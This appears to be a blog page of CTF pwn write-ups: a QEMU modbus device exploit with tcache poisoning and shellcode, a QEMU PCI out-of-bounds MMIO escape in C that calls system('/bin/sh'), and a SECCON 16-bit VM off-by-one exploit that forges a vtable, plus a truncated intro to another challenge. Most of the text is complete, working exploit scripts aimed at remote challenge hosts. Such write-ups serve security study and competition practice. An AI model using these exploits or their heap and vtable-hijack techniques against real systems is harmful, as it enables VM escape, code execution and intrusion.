欢迎使用 Typecho
如果您看到这篇文章,表示您的 blog 已经安装成功.
如果您看到这篇文章,表示您的 blog 已经安装成功.

2nd Blood
题目的启动脚本中把 modbus 工控协议对应的虚拟设备的 I/O 直接暴露到 socket I/O上,并且关闭了其它所有设备,所以本质上是直接对这个设备模型的漏洞利用,只不过放在了 QEMU 环境里。关于 modbus 的报文协议细节直接询问 AI 就能得到非常详细的答复,LLM 把了解一个未知协议运作的门槛降低了好几个数量级。
# RTU Function 0x03: Read Holding Registers
Req: [addr][0x03][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi]
Resp: [addr][0x03][byte_count][data_hi][data_lo]...[CRClo][CRChi]# RTU Function 0x10: Write Multiple Registers
Req: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][byte_count][values...][CRClo][CRChi] # total 9 + len(values) bytes
Resp: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # total 8 bytes设备的 realize 函数如下:

其中 mbusTransmitDataHandler 回调函数是主要关注对象,它调用了 mbusPorcessBuf 进行具体的报文处理:

mbusPorcessBuf 主逻辑和其中两个负责读写寄存器的函数如下:



审计 mbusProcessBuf 逻辑主要发现三个漏洞点:
qty+start 被强制转换为 uint16 导致越界;malloc((unsigned int8)(2*qty)+5) 把 uint16 强制下转换到 uint8,可能导致实际申请的空间比读写空间小,发生堆上溢出写;qty+start 被强制转换为 uint16 导致越界;&obj->regs[0] 开始的 0x10000 字节内存,能够在特定 offset 上得到 libc,ELF,heap 地址;malloc 调用机会和越界写能力,攻击 tcache,布置 0xa0,0xb0,0xc0 大小三个连续堆块的 size 和 next,可以构造任意 malloc 原语。但是任意 malloc 紧接着一个 free,所以任意 malloc 的目标地址必须符合合法堆块 size 检查;0xa0 偏移开始有三个在设备 realize 时就注册好的回调函数指针,劫持 0xb0 偏移的指针,可以发现调用该函数指针时,rdi 为 0xc0 偏移处的 8 字节。由于 QEMU 运行环境的 system 带有 cloexec FLAG(启动子程序时关闭已有 fd),所以重定向不太能用,而且远程尝试反弹 shell 不出网;setcontext 走 mprotect 执行 shellcode 实现 open("flag", 0) => sendfile(out_fd=10, ...) 效果,在远程环境下试了几次即可拿到flag;完整 EXP:
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
# p = remote("127.0.0.1", 1503)
# p = remote("127.0.0.1", 1502)
p=remote("8.147.132.101",30721)
# crc16
def crc16(data: bytes):
crc = 0xFFFF
for b in data:
crc ^= b
for _ in range(8):
if (crc & 0x0001) != 0:
crc >>= 1
crc ^= 0xA001
else:
crc >>= 1
return crc
# RTU Function 0x03: Read Holding Registers
def read_reg(addr: int, start: int=0, qty: int=1):
# Req: [addr][0x03][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi]
# Resp: [addr][0x03][byte_count][data_hi][data_lo]...[CRClo][CRChi]
packet = b""
packet += p8(addr) # addr
packet += p8(0x03) # function code
packet += p16(start, endianness="big") # start address
packet += p16(qty, endianness="big") # quantity
packet += p16(crc16(packet)) # CRC
#return packet
p.send(packet)
# RTU Function 0x10: Write Multiple Registers
def write_reg(addr: int, start: int=0, qty: int=-1, _bytes: int=-1, values: bytes=b""):
# Req: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][byte_count][values...][CRClo][CRChi] # total 9 + len(values) bytes
# Resp: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # total 8 bytes
packet = b""
packet += p8(addr) # addr
packet += p8(0x10) # function code
packet += p16(start, endianness="big") # start address
if qty == -1:
qty = len(values) // 2
packet += p16(qty, endianness="big") # quantity
if _bytes == -1:
_bytes = len(values)
packet += p8(_bytes) # byte count
packet += values # values
packet += p16(crc16(packet)) # CRC
#return packet
p.send(packet)
# write
## max value size 250 bytes
#bytes_to_write = b"<"+b"A"*(512-2)+b">"
#for i in range(0, len(bytes_to_write), 2):
# chunk = bytes([bytes_to_write[i+1], bytes_to_write[i]])
# print(f"start: {i//2}, chunk: {chunk}")
# write_reg(1, start=i//2, qty=1, values=chunk)
# p.recv()
read_reg(1, start=1, qty=0xffff)
# ELF 0x37c
# HEAP 0x32c
def big_u16_to_little_u16(b: bytes) -> bytes:
res = b""
for i in range(0, len(b), 2):
res += bytes([b[i+1], b[i]])
return res
def leak_int64(data: bytes, offset: int=0) -> int:
result = 0
print("---------")
for i in range(0, 8, 2):
part = data[offset + i: offset + i +2]
print("->>",part)
result = (u16(part, endianness="big") << (i//2*16)) | result
return result
leak_data = p.recv(0x1000)[3:]
elf_leak = leak_int64(leak_data, 0x37c)
heap_leak = leak_int64(leak_data, 0x32c)
libc_leak = leak_int64(leak_data, 0xfac)
log.success(f"elf_leak: {hex(elf_leak)}")
log.success(f"heap_leak: {hex(heap_leak)}")
log.success(f"libc_leak: {hex(libc_leak)}")
elf_base = elf_leak - 0x9ef3e9
heap_base = heap_leak - 0x718f0
libc_base = libc_leak - 0x203b20
log.success("==============================")
log.success(f"elf_base: {hex(elf_base)}")
log.success(f"heap_base: {hex(heap_base)}")
log.success(f"libc_base: {hex(libc_base)}")
read_reg(1,0,0x48)
read_reg(1,0,0x50)
read_reg(1,0,0x58)
chunka_addr=heap_base+0x2d8570 # a0
chunkb_addr=heap_base+0x2d8610 # b0
chunkc_addr=heap_base+0x2d86c0 # c0
offab=(0xa0-0x10+8-3)//2
offac=(0xa0-0x10+0xb0+8-3)//2
offbc=(0xa0-0x10+8-3)//2
write_reg(1,offab,values=b"\0\xf1")
write_reg(1,offac,values=b"\0\xf1")
read_reg(1,0,0x48+0x80)
read_reg(1,0,0x58)
read_reg(1,0,0x50)
# 48:a0 50:b0 58:c0 60:d0
# 68:e0 70:f0
# now chunkb and chunkc free in tcache f0
def encaddr(addr):
secret=chunkb_addr>>12^addr
return secret
target=chunka_addr+0x13
setc=0x4a99d+libc_base
#0x00000000000986f5 : mov rdx, qword ptr [rdi + 8] ; mov rax, qword ptr [rdi] ; mov rdi, rdx ; jmp rax
magic=0x00000000000986f5+libc_base
newstack=chunkb_addr+0x13
page=chunka_addr&(~0xfff)
shcbuf=chunkb_addr+0x13
shctxt='''
lea rdi,qword ptr [rip+flagstr]
mov ax,2
xor esi,esi
syscall
push rax
pop rsi
mov edi,10
xor edx,edx
mov cx,0x100
mov ax,40
syscall
flagstr:
.ascii "flag\\0\\0"
'''
context.arch="amd64"
shc=asm(shctxt)
open_libc=0x11b150+libc_base
sdfl_libc=0x11bbb0+libc_base
mprot_libc=0x125c40+libc_base
buffer=p64(setc)+p64(target-0x58)+p64(page)+p64(0x1000)+p64(7)+p64(7)+p64(7)+p64(7)+p64(7)+p64(target+0x58)+p64(mprot_libc)+p64(shcbuf)
def arb_malloc(addr):
pld=buffer.ljust(0x80,b'\0')
write_reg(1,0x8,values=pld)
pld=b'\0'+p64(0xb1)+p64(encaddr(addr))+b'\0'
write_reg(1,offab,values=pld)
read_reg(1,0,0x48+0x80)
pld=b'\0'+p64(0xf1)
write_reg(1,offbc,values=pld)
write_reg(1,0x8,values=shc)
read_reg(1,0,0x70)
# now chunkb in tcache b1
# tcache f1 hijacked
obj_addr=heap_base+0x84750
arb_malloc(obj_addr)
ptr1=0x40f6b6+elf_base
ptr2=0x40f5bb+elf_base
syst_addr=libc_base+0x58750
log.success("system at"+hex(syst_addr))
pld=b"\0"*(0xa0-0x10)
pld+=p64(ptr1)+p64(magic)+p64(magic)
pld+=b'aaaaaaaa'+p64(target)
write_reg(1,(0x10-3)//2,values=b'\0'+pld+b'\0')
read_reg(1,0,0x70)
pause()
p.recvuntil(b'aaaaaaaa')
p.interactive() This challenge implements a QEMU virtual char type PCI device, the device characteristics can be found in the header file corresponding to the following PCI device path in the file system:

Looking at the source code of the BABY device, it registers a section of mmio memory and implements the read/write methods respectively, and the vulnerability is usually found in the callback functions of these two methods:
static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size) {
PCIBabyDevState *ms = opaque;
struct PCIBabyDevReg *reg = ms->reg_mmio;
debug_printf("addr:%lx, size:%d\n", addr, size);
switch(addr){
case MMIO_GET_DATA:
debug_printf("get_data (%p)\n", &ms->buffer[reg->offset]);
return *(uint64_t*)&ms->buffer[reg->offset];
}
return -1;
}
static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
PCIBabyDevState *ms = opaque;
struct PCIBabyDevReg *reg = ms->reg_mmio;
debug_printf("addr:%lx, size:%d, val:%lx\n", addr, size, val);
switch(addr){
case MMIO_SET_OFFSET:
reg->offset = val;
break;
case MMIO_SET_OFFSET+4:
reg->offset |= val << 32;
break;
case MMIO_SET_DATA:
debug_printf("set_data (%p)\n", &ms->buffer[reg->offset]);
*(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1));
break;
}
}
static const MemoryRegionOps pci_babydev_mmio_ops = {
.read = pci_babydev_mmio_read,
.write = pci_babydev_mmio_write,
.endianness = DEVICE_LITTLE_ENDIAN,
.impl = {
.min_access_size = 1,
.max_access_size = 4,
},
};The following are the key architectures of the device:
struct PCIBabyDevReg {
off_t offset;
uint32_t data;
};
#define MMIO_SET_OFFSET offsetof(struct PCIBabyDevReg, offset)
#define MMIO_SET_DATA offsetof(struct PCIBabyDevReg, data)
#define MMIO_GET_DATA offsetof(struct PCIBabyDevReg, data)
struct PCIBabyDevState {
PCIDevice parent_obj;
MemoryRegion mmio;
struct PCIBabyDevReg *reg_mmio;
uint8_t buffer[0x100];
};As you can see from the program logic, mmio_write can control the value of reg->offset high and low respectively 4 bytes, and then read and write to buffer[reg->offset] in mmio_write and mmio_read respectively. The buffer[reg->offset] is located in the PCIBabyDevState structure of the device and is only 0x100 bytes long, which now creates an out-of-bounds read or write. This is the key vulnerability of the challenge.
The PCIBabyDevState structure is created in QEMU's dynamic memory as the device is initialized, and it is actually a huge structure when expanded, meaning that there are many key pointers before and after the buffer that can be utilized. At its simplest, the ELF base address and libc base address leaks are simple.

The first thing we need to do is leak the ELF base and buffer heap addresses.
unsigned long elf_leak = -1;
set_offset(0x130);
elf_leak = (unsigned long)read_data();
set_offset(0x134);
elf_leak += (unsigned long)read_data() << 32;
printf("ELF leak: 0x%lx\n", elf_leak);
unsigned long elf_base = elf_leak - 0x7b44a0;
unsigned long system_plt = elf_base + 0x324150;
printf("system@plt: 0x%lx\n", system_plt);
unsigned long heap_leak = -1;
set_offset(-0x38);
heap_leak = (unsigned long)read_data();
set_offset(-0x38+4);
heap_leak += (unsigned long)read_data() << 32;
printf("HEAP leak: 0x%lx\n", heap_leak);
unsigned long buf_addr = heap_leak + 0x40;
printf("buf addr: 0x%lx\n", buf_addr);Then we're going to complete the control flow hijacking with MemoryRegion mmio as it unfolds with the following structure:

The ops are a table of callback functions that contain registration points for the mmio_write and mmio_read function pointers, and the first parameter is the opaque (device object itself) which sits in a contiguous section of memory with the buffer and which we can control.


The next solution is simple, we fake an ops in the buffer and emulate it according to the following memory layout. Where mmio_read is changed to the address of system@plt and the very beginning of the opaque object is overwritten with the string "/bin/sh\x00". This way, when we trigger mmio_read again, the control flow will be hijacked to execute system("/bin/sh").
unsigned long fake_ops_table_off = 0x80;
unsigned long fake_ops_table_addr = buf_addr + fake_ops_table_off;
printf("fake ops table addr: 0x%lx\n", fake_ops_table_addr);
printf("fake ops table off: 0x%lx\n", fake_ops_table_off);
/*
+0000 0x555556271100 70 21 90 55 55 55 00 00 b0 21 90 55 55 55 00 00 │p!.UUU..│.!.UUU..│
+0010 0x555556271110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0020 0x555556271120 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0030 0x555556271130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0040 0x555556271140 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0050 0x555556271150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
*/
set_offset(fake_ops_table_off+0x20);
write_data(0x2);
set_offset(fake_ops_table_off+0x40);
write_data(0x1);
set_offset(fake_ops_table_off+0x44);
write_data(0x4);
set_offset(fake_ops_table_off+0x0);
write_data(system_plt & 0xffffffff);
set_offset(fake_ops_table_off+0x4);
write_data(system_plt >> 32);
set_offset(fake_ops_table_off+0x8);
write_data(system_plt & 0xffffffff);
set_offset(fake_ops_table_off+0xc);
write_data(system_plt >> 32);
// gcc exp.c -o ./release/rootfs/exp --static -s
// QEMU exploit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stddef.h>
#define BABY_PCI_VENDOR_ID 0x4296
#define BABY_PCI_DEVICE_ID 0x1338
struct PCIBabyDevReg {
off_t offset;
uint32_t data;
};
#define MMIO_SET_OFFSET offsetof(struct PCIBabyDevReg, offset)
#define MMIO_SET_DATA offsetof(struct PCIBabyDevReg, data)
#define MMIO_GET_DATA offsetof(struct PCIBabyDevReg, data)
const char baby_pci_mmio_path[] = "/sys/bus/pci/devices/0000:00:04.0/resource0";
char *mmio = NULL;
int open_device(){
int fd = open(baby_pci_mmio_path, O_RDWR);
if(fd < 0){
perror("open");
exit(1);
}
return fd;
}
int init_mmio(int fd){
mmio = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if(mmio == MAP_FAILED){
perror("mmap");
exit(1);
}
return 0;
}
void write_mmio_int32(uint64_t addr, uint32_t val){
if (!mmio){
perror("mmio not initialized");
exit(1);
}
*(uint32_t *)(mmio + addr) = val;
}
void write_mmio_int64(uint64_t addr, uint64_t val){
if (!mmio){
perror("mmio not initialized");
exit(1);
}
*(uint64_t *)(mmio + addr) = val;
}
uint32_t read_mmio_int32(uint64_t addr){
if (!mmio){
perror("mmio not initialized");
exit(1);
}
return *(uint32_t *)(mmio + addr);
}
uint64_t read_mmio_int64(uint64_t addr){
if (!mmio){
perror("mmio not initialized");
exit(1);
}
return *(uint64_t *)(mmio + addr);
}
int set_offset(uint64_t offset){
write_mmio_int64(MMIO_SET_OFFSET, offset);
return 0;
}
int write_data(uint32_t data){
write_mmio_int32(MMIO_SET_DATA, data);
return 0;
}
uint32_t read_data(){
return read_mmio_int32(MMIO_GET_DATA);
}
int main(){
int dev_fd = open_device();
if(dev_fd < 0){
perror("open_device");
exit(1);
}
init_mmio(dev_fd);
printf("mmio mmap: %p\n", mmio);
/* set_offset(0x0);
write_data(0xdeadbeef);
printf("Read data: 0x%x\n", read_data());
set_offset(0x4);
write_data(0xdeadbeef);
*/
// leak
unsigned long elf_leak = -1;
set_offset(0x130);
elf_leak = (unsigned long)read_data();
set_offset(0x134);
elf_leak += (unsigned long)read_data() << 32;
printf("ELF leak: 0x%lx\n", elf_leak);
unsigned long elf_base = elf_leak - 0x7b44a0;
unsigned long system_plt = elf_base + 0x324150;
printf("system@plt: 0x%lx\n", system_plt);
unsigned long heap_leak = -1;
set_offset(-0x38);
heap_leak = (unsigned long)read_data();
set_offset(-0x38+4);
heap_leak += (unsigned long)read_data() << 32;
printf("HEAP leak: 0x%lx\n", heap_leak);
unsigned long buf_addr = heap_leak + 0x40;
printf("buf addr: 0x%lx\n", buf_addr);
// check ops_ptr
//unsigned long ops_ptr = -1;
//set_offset(-0xc8);
//ops_ptr = (unsigned long)read_data();
//set_offset(-0xc8+4);
//ops_ptr += (unsigned long)read_data() << 32;
//printf("ops ptr: 0x%lx\n", ops_ptr);
// hijack ops_table
unsigned long fake_ops_table_off = 0x80;
unsigned long fake_ops_table_addr = buf_addr + fake_ops_table_off;
//unsigned long fake_ops_table_addr = elf_base + 0x19fb000;
//unsigned long fake_ops_table_off = - (buf_addr - fake_ops_table_addr);
printf("fake ops table addr: 0x%lx\n", fake_ops_table_addr);
printf("fake ops table off: 0x%lx\n", fake_ops_table_off);
/*
+0000 0x555556271100 70 21 90 55 55 55 00 00 b0 21 90 55 55 55 00 00 │p!.UUU..│.!.UUU..│
+0010 0x555556271110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0020 0x555556271120 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0030 0x555556271130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0040 0x555556271140 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0050 0x555556271150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
*/
set_offset(fake_ops_table_off+0x20);
write_data(0x2);
set_offset(fake_ops_table_off+0x40);
write_data(0x1);
set_offset(fake_ops_table_off+0x44);
write_data(0x4);
set_offset(fake_ops_table_off+0x0);
write_data(system_plt & 0xffffffff);
set_offset(fake_ops_table_off+0x4);
write_data(system_plt >> 32);
set_offset(fake_ops_table_off+0x8);
write_data(system_plt & 0xffffffff);
set_offset(fake_ops_table_off+0xc);
write_data(system_plt >> 32);
puts("fake ops table created");
// write "/bin/sh\x00"(0x68732f6e69622f) into opaque
unsigned long opaque_off = -0xbf8;
set_offset(opaque_off);
write_data(0x68732f6e69622f & 0xffffffff);
set_offset(opaque_off+4);
write_data(0x68732f6e69622f >> 32);
puts("wrote /bin/sh into opaque");
// hijack ops_ptr
unsigned long ops_ptr_pff = -0xc8;
set_offset(ops_ptr_pff);
write_mmio_int32(MMIO_SET_DATA, fake_ops_table_addr & 0xffffffff);
puts("hijacked ops_ptr");
// trigger
read_data();
return 0;
}The challenge provides a 16bit risc-VM written in cpp.
The exploit happens in case 13(STT): the valid addr (or addr & (0x1000-1) ,specificly) ranges from 0 to 0xfff, and will do:
So when addr = 0xfff, there will be an off-by-one. In GDB, we can see that this one byte is just the lowest byte of the mem pointer. (and the next 8 byte is the uint16_t size of the std::span object)
In that case, we can do mem:=mem+0x10 by this:
a:=0x00c8 # mem is an heap pointer and mem&0xff=0xb8=0xc8-0x10
t:=a
a:=0xfff # off by one
sttBut the pc pointer will jump to the former pc+0x10, because the fetch_and_decode() also uses mem[regs.pc] to fetch code. And there will be several times of rebase like this during the whole exp😭.
After that, we can increase the size of the memory space. But it doesn't help a lot, since the size is stored as uint16_t, and should be correct when executing addr&(size-1) . So we set size to 0x8000.
Back to the VM insts, we can know that when a pointer drops in space ranging from mem to mem+size, we can use adc or another insts to write a program to calculate the offset, and forge fake structure, without leaking them to stdout.
Now there is a heap pointer in this space. And now the vtable pointer of the object drops at the mem-0x18 , so we should do mem:=mem-0x20 and rebase again 😭.
Back to the VM insts again, when we use case 7 illegal, the VM will raise an error and back to the main function to execute the handler. After printing Done the program will call object->dump() (0x8 of the vtable). So we can forge a fake vtable in memory to trigger the fake handler, and hijack the control flow.
We have heap pointer of mem and text pointer of vtable now, and need libc pointer.
Luckily, after calling the error handler, there will be a new chunk on the heap, just after our VM object, with a lot of pointers from libstdc++. In the same ubuntu machine, the offset between libc and libstdc++ will be an unknown constant, so we can try to calculate it.(Fortunately the local offset in my VM and the remote offset are the same, in the same docker environment)
So we can draw a route:
heap text pointers, as well as the vtable member of the object.The main function will alloc a new VM object, whose memory space drops after the error handler chunk.
[-----------old VM----------]|[--error-hndl--]|[-----------new VM----------]
- +mem:=mem-0x60 in my exp) to enclose an libstdc++ pointer.libc .To get shell,forge a vtable like that:
heap_mem_1:
fake_vtable+0 = heap_mem_2
fake_vtable+8 = gadget1
fake_vtable+0x18 = gadget2
fake_vtable+0x18 = system_addr
---
heap_mem_2:
+0x00: "/bin/sh\x00"
...
+0x38: &fake_vtable
gadget1:mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18]
gadget2:call qword ptr [rax + 0x20]We use gadget2 to call again to align the stack pointer before calling system.
exp.py:
from pwn import *
from data import dt,getdt2
def pack_code(op, addr):
c = (op << 12) | (addr & 0xfff)
return p16(c)
#p = remote('127.0.0.1', 8887)
p=remote('toy-2.seccon.games',5000)
# sleep(0.2)
def stt():
return pack_code(13,0)
def lda(x):
return pack_code(14,x)
def tat():
return pack_code(5,0)
def ill():
return pack_code(7,0)
def ldc(x):
return pack_code(9,x)
def adc(x):
return pack_code(1,x)
def ldi():
return pack_code(12,0)
def jmp(x):
return pack_code(0,x)
def anda(x):
return pack_code(8,x)
def bcc(x):
return pack_code(10,x)
def r2(x):
return x+0x20
targ=r2(0xc00)
code = b"".join([
lda(0x802), #0
tat(),
lda(0x800),
stt(), # offset +0x10
lda(r2(0x810)),#8
ldi(),
tat(),
lda(r2(0x80e)),
stt(),
lda(r2(0x814)),
ldi(),
jmp(r2(0x81a)),
lda(0x804), #18
tat(),
lda(0x806),
stt(),
lda(0x808), #20
tat(),
lda(0x80a),
stt(),
tat(),#28
lda(r2(0x812)),
stt(),
lda(r2(0x818)),
ldi(),#30
tat(),
lda(r2(0x816)),
stt(),
# ofs+text=main -> targ+8
lda(r2(0x81c)),#38
adc(8),
tat(),
lda(r2(0x820)),
stt(),#40
lda(r2(0x81e)),
adc(0xa),
tat(),
lda(r2(0x822)),#48
stt(),
lda(r2(0x81e)),
adc(0xc),
tat(),#50
lda(r2(0x824)),
stt(),
lda(r2(0x81e)),
adc(0xe),#58
tat(),
lda(r2(0x826)),
stt(),
#heap + ofs -> virtual
ldc(r2(0x828)),#ldc! #60
adc(targ),
tat(),
lda(r2(0x82c)),
stt(),#68
lda(r2(0x82a)),
adc(targ+2),
tat(),
lda(r2(0x82e)),#70
stt(),
lda(r2(0x82a)),
adc(targ+4),
tat(),#78
lda(r2(0x830)),
stt(),
ill(),
lda(r2(0x828)),#<--back
ill(),
])
print(hex(u64(code[0:8])))
payload=code.ljust(0x800,b"\0")
payload+=dt
payload = payload.ljust(4096, b'\x00')
# print(payload)
p.send(payload)
pause()
#new payload at 0x5a7b9b3123c8
#leak stdcpp at 0x5a7b9b312360 ofs 0x26eff0
def r3(x):
return r2(x)+0x60
targ=r3(0xc00)
code2 = b"".join([
lda(0x802), #0
tat(),
lda(0x800),
stt(), # offset +0x10
lda(r2(0x810)),#8
ldi(),
tat(),
lda(r2(0x80e)),
stt(),#10
lda(r2(0x814)),
ldi(),
jmp(r2(0x81a)),
lda(0x804), #18
tat(),
lda(0x806),
stt(),
lda(0x808), #20
tat(),
lda(0x80a),
stt(),
tat(),#28
lda(r2(0x812)),
stt(),
lda(r2(0x818)),
ldi(),#30
tat(),
lda(r2(0x816)),
stt(),
# ofs+text=main -> targ+8
lda(r2(0x81c)),#38
adc(8),
tat(),
lda(r2(0x820)),
stt(),#40
lda(r2(0x81e)),
adc(0xa),
tat(),
lda(r2(0x822)),#48
stt(),
lda(r2(0x81e)),
adc(0xc),
tat(),#50
lda(r2(0x824)),
stt(),
lda(r2(0x81e)),
adc(0xe),#58
tat(),
lda(r2(0x826)),
stt(),
]+[
jmp(r2(0x838)),#60
jmp(r3(0x83a)),
ill()
]
+[tat()]*(0x31-3-4)
+[
lda(r2(0x834)),#ba
tat(),#bc
lda(r2(0x836)),#be
stt(),#c0
]+[
#make system to fakevt+0x18
ldc(r3(0x83c)),#0xc2
adc(8),
tat(),
lda(r3(0x846)),
stt(),
lda(r3(0x83e)),
adc(0xa),
tat(),
lda(r3(0x848)),
stt(),
lda(r3(0x844)),
adc(0xc),
tat(),
lda(r3(0x84a)),
stt(),
lda(r3(0x844)),
adc(0xe),
tat(),
lda(r3(0x84c)),
stt(),
#make gadget to fakevt+0x8
ldc(r3(0x840)),#0xc2
adc(8),
tat(),
lda(r3(0x84e)),
stt(),
lda(r3(0x842)),
adc(0xa),
tat(),
lda(r3(0x850)),
stt(),
lda(r3(0x844)),
adc(0xc),
tat(),
lda(r3(0x852)),
stt(),
lda(r3(0x844)),
adc(0xe),
tat(),
lda(r3(0x854)),
stt(),
#ptr to binsh
ldc(r3(0x85e)),#0xc2
adc(0xce0),
tat(),
lda(r3(0x856)),
stt(),
lda(r3(0x860)),
adc(0xce2),
tat(),
lda(r3(0x858)),
stt(),
lda(r3(0x860)),
adc(0xce4),
tat(),
lda(r3(0x85a)),
stt(),
lda(r3(0x860)),
adc(0xce6),
tat(),
lda(r3(0x85c)),
stt(),
#ptr binsh+0x38
ldc(r3(0x862)),#0xc2
adc(0xce0),
tat(),
lda(r3(0x864)),
stt(),
lda(r3(0x860)),
adc(0xce2),
tat(),
lda(r3(0x866)),
stt(),
lda(r3(0x860)),
adc(0xce4),
tat(),
lda(r3(0x868)),
stt(),
lda(r3(0x860)),
adc(0xce6),
tat(),
lda(r3(0x86a)),
stt(),
#hijack vtable
ldc(0xd70+0x38+0),
tat(),
ldc(r3(0x86c)),
stt(),
ldc(0xd70+0x38+2),
tat(),
ldc(r3(0x86c+2)),
stt(),
ldc(0xd70+0x38+4),
tat(),
ldc(r3(0x86c+4)),
stt(),
ldc(0xd70+0x38+6),
tat(),
ldc(r3(0x86c+6)),
stt(),
#set gad2 to fakevt+0x18
ldc(r3(0x87c)),#0xc2
adc(8),
tat(),
lda(r3(0x874)),
stt(),
lda(r3(0x87e)),
adc(0xa),
tat(),
lda(r3(0x876)),
stt(),
lda(r3(0x844)),
adc(0xc),
tat(),
lda(r3(0x878)),
stt(),
lda(r3(0x844)),
adc(0xe),
tat(),
lda(r3(0x87a)),
stt(),
ill(),
]
)
print(hex(u64(code[0:8])))
payload=code2.ljust(0x800,b"\0")
payload+=getdt2()
payload=payload.ljust(0x800+0x500,b"\0")
payload+=b"/bin/sh\0"
payload = payload.ljust(4096, b'\x00')
p.send(payload)
p.interactive()data.py
targ=0xc20
from pwn import *
dt=b"".join([
p16(0x0fff),#0
p16(0xc8c8),#2
b"\0"*0x10,
p16(0x0080),#4
p16(0x0ff9),#6
p16(0xa800),#8
p16(0x0fef),#a
p16(0x2333),#c
p16(targ),#e
p16(0x1010),#10
p16(targ+2),#12
p16(0x1012),#14
p16(targ+4),#16
p16(0x1014),#18
p16(0x28+0x10),#1a
p16(0xda60),#1c
p16(0xffff),#1e
p16(targ+8),#20
p16(targ+0xa),#22
p16(targ+0xc),#24
p16(targ+0xe),#26
p16(0xc20),#28
p16(0),#2a
p16(8),#2c
p16(0xa),#2e
p16(0xc),#30
p16(0xe),#32
])
#0x0000000000171cf6 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18]
def getdt2(ofs=0x240000):
stdcpp_ofs=0x26eff0
syst_ofs=-stdcpp_ofs-ofs+0x58740+2**64
gadget_ofs=-stdcpp_ofs-ofs+0x171cf6+2**64
gad2_ofs=0x00000000000958ea-stdcpp_ofs-ofs+2**64
targ=0xc20+0x60
fakevt=0xe00
dt2=b"".join([
p16(0x0fff),#0
p16(0xd8d8),#2
b"\0"*0x10,
p16(0x0080),#4
p16(0x0ff9),#6
p16(0xb800),#8
p16(0x0fef),#a
p16(0x2333),#c
p16(targ),#e
p16(0x1010),#10
p16(targ+2),#12
p16(0x1012),#14
p16(targ+4),#16
p16(0x1014),#18
p16(0x28+0x10),#1a
p16(0xda60),#1c
p16(0xffff),#1e
p16(targ+8),#20
p16(targ+0xa),#22
p16(targ+0xc),#24
p16(targ+0xe),#26
p16(0xc20),#28
p16(0),#2a
p16(8),#2c
p16(0xa),#2e
p16(0xc),#30
p16(0xe),#32
p16(0x5800),#34
p16(0x100f),#36
p16(0x00ba+0x10),#38
p16(0xc2+0x10+0x60),#3a
p64(syst_ofs)[0:2],#3c
p64(syst_ofs)[2:4],#3e
p64(gadget_ofs)[0:2],#40
p64(gadget_ofs)[2:4],#42
p16(0xffff),#44
p16(fakevt+0x18+8),#46
p16(fakevt+0x1a+8),#48
p16(fakevt+0x1c+8),#4a
p16(fakevt+0x1e+8),#4c
p16(fakevt+0x8),#4e
p16(fakevt+0xa),#50
p16(fakevt+0xc),#52
p16(fakevt+0xe),#54
p16(fakevt+0),#56
p16(fakevt+2),#58
p16(fakevt+4),#5a
p16(fakevt+6),#5c
p16(0xd10),#5e
p16(0),#60
p16(0xda0),#62
p16(0xd70+0x38+0),#64
p16(0xd70+0x38+2),#66
p16(0xd70+0x38+4),#68
p16(0xd70+0x38+6),#6a
p16(0x68),#6c
p16(0x68+2),#6e
p16(0x68+4),#70
p16(0x68+8),#72
p16(fakevt+0x18),#74
p16(fakevt+0x1a),#76
p16(fakevt+0x1c),#78
p16(fakevt+0x1e),#7a
p64(gad2_ofs)[0:2],#7c
p64(gad2_ofs)[2:4],#7e
])
return dt2 又是一年强网杯,很多网安人都要完成的完成 KPI...
捡了个二血,就做了这题,别的没咋看

题目附件:
通过百度网盘分享的文件:prpr.zip
链接:https://pan.baidu.com/s/1mrbCrjnKpMOxmJiUT0Q53A?pwd=hs60
提取码:hs60
程序为 printf 注册了很多回调,在遇到这些回调的时候会进入对应的 handler 处理并通过第三个参数携带格式化字符串本身的参数

题目使用这个机制实现了一个 VM,VM 对应的格式化字符串 vmcode 在全局段上,dump如下:
